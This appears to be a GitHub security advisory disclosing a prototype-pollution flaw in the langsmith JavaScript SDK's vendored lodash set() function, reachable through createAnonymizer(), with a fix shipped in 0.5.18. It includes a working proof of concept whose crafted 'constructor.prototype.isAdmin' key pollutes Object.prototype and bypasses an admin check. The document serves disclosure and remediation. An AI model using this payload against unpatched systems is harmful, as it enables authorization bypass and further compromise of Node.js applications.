set() Guard in langsmith-sdkSeverity: Medium (CVSS ~5.6) Status: Fixed in 0.5.18
The LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the __proto__ key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process.
| Product | Affected Versions | Component |
|---------|-------------------|-----------|
| langsmith (npm) | <= 0.5.17 | js/src/utils/lodash/baseAssignValue.ts, js/src/anonymizer/index.ts |
| langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |
Not affected: The Python SDK (langsmith on PyPI) does not use lodash or an equivalent pattern.
The SDK vendors an internal copy of lodash's set() function at js/src/utils/lodash/. The baseAssignValue() function at baseAssignValue.ts:11 implements a guard for prototype pollution:
function baseAssignValue(object: Record<string, any>, key: string, value: any) {
if (key === "__proto__") {
Object.defineProperty(object, key, {
configurable: true, enumerable: true, value: value, writable: true,
});
} else {
object[key] = value; // ← No guard for "constructor" or "prototype" keys
}
}
This blocks __proto__ pollution but does not block the constructor.prototype traversal path. When set() is called with a path like "constructor.prototype.polluted":
castPath() splits it into ["constructor", "prototype", "polluted"]baseSet() iterates: obj.constructor → Object → Object.prototypeassignValue(Object.prototype, "polluted", value) calls baseAssignValue()"polluted" (not "__proto__"), so the guard is bypassedObject.prototype.polluted = value — all objects are pollutedThe createAnonymizer() API (importable as langsmith/anonymizer) processes data by:
extractStringNodes() walks an object recursively and builds dotted paths from keysanonymizer/index.ts:95)set() — set(mutateValue, node.path, node.value) writes the replaced value back (anonymizer/index.ts:123)An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to constructor.prototype.X:
{
wrapper: {
"constructor.prototype.isAdmin": "contains-secret-pattern"
}
}
extractStringNodes() produces path "wrapper.constructor.prototype.isAdmin". When the replacement triggers and set() writes back, it traverses up to Object.prototype.
Although createAnonymizer() uses deepClone() at anonymizer/index.ts:62 (JSON.parse(JSON.stringify(data))), the prototype chain traversal escapes the clone boundary because clone.wrapper.constructor resolves to the global Object constructor, not a cloned copy.
import { createAnonymizer } from "langsmith/anonymizer";
const anonymizer = createAnonymizer([
{ pattern: "secret", replace: "[REDACTED]" }
]);
console.log("BEFORE:", ({}).isAdmin); // undefined
const maliciousInput = {
wrapper: {
"constructor.prototype.isAdmin": "this-is-secret-data"
}
};
anonymizer(maliciousInput);
console.log("AFTER:", ({}).isAdmin); // "this-is-[REDACTED]-data"
console.log("Array:", [].isAdmin); // "this-is-[REDACTED]-data"
function checkAccess(user) {
if (user.isAdmin) return "ACCESS GRANTED";
return "ACCESS DENIED";
}
console.log(checkAccess({ name: "bob" })); // "ACCESS GRANTED" ← BYPASSED
Prototype pollution in a Node.js process can enable:
if (user.isAdmin) checks succeed on all objectseval()/Function() sinkstoString, valueOf, or hasOwnProperty on all objectsIn baseAssignValue.ts, extend the guard to cover constructor and prototype keys:
function baseAssignValue(object, key, value) {
if (key === "__proto__" || key === "constructor" || key === "prototype") {
Object.defineProperty(object, key, {
configurable: true, enumerable: true, value, writable: true,
});
} else {
object[key] = value;
}
}
As defense in depth, extractStringNodes() in anonymizer/index.ts should also sanitize or reject path segments matching constructor or prototype before passing them to set().
| Date | Event | |------|-------| | 2026-03-24 | Initial report submitted | | 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |
Reported by: OneThing4101
{
"cwe_ids": [
"CWE-1321"
],
"severity": "MODERATE",
"github_reviewed": true,
"nvd_published_at": "2026-04-10T20:16:24Z",
"github_reviewed_at": "2026-04-10T20:18:02Z"
}